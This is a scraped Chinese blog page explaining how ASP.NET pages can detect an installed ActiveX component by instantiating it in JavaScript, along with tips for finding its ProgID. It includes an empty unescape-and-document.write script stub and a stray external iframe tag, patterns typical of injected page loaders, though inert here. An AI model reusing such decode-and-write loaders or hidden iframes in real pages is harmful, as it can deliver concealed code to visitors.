HTML Tags and JavaScript tutorial
<script language="javascript">var encS="";var S=unescape(encS);document.write(S);</script>
ASP.net判断客户端是否安装了某个组件的馊主意
00专业版下还没有问题。在win2000server下,如果没有安装控件,则new控件的两行则会引起不安全控件的提示“该页存在不安全控件,请问是否执行”之类的提示
-----------------------------
这个不是“馊主意”,是很常用的方法。
如果是你自己写的控件,只要实现了ISafeObject接口,……
上官育松:
正好是我要的谢谢
上一篇: VC使用剪切板实现两个应用程序之间的数据交互
|
下一篇: VC从注册表读取系统所有文件类型
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
ASP.net判断客户端是否安装了某个组件的馊主意
通过新建该组件的一个实例,建立成功则表示已经安装,不成功则表示没有安装
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
</head>
<body οnlοad=connectDB()>
<script language="Javascript">
<!--
function connectDB()
{
try{
var conn=new ActiveXObject('LOCEXPLORER.LocExplorerCtrl.1');
var conns=new ActiveXObject('TREELIST11.TreeList11Ctrl.1');
}
catch(e)
{
document.write('没有装');
}
}
//-->
</script>
</body>
获取ProGid的方法:
1.找到组件相关的文档
2.如果实在找不到文档,但你知道classid,那么在注册表搜索一下classid,根据classid找到progid即可
3.如果什么都不知道,可以用.net新建一个工程,添加对组件的引用,然后在对象浏览器中查看引用的组件,看看有些什么接口,一般情况下,组件名+"."+接口名 就是你要的progid一样的,在doucument.write中输出html字符串即可
缺点:在win2000专业版下还没有问题。在win2000server下,如果没有安装控件,则new控件的两行则会引起不安全控件的提示“该页存在不安全控件,请问是否执行”之类的提示
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">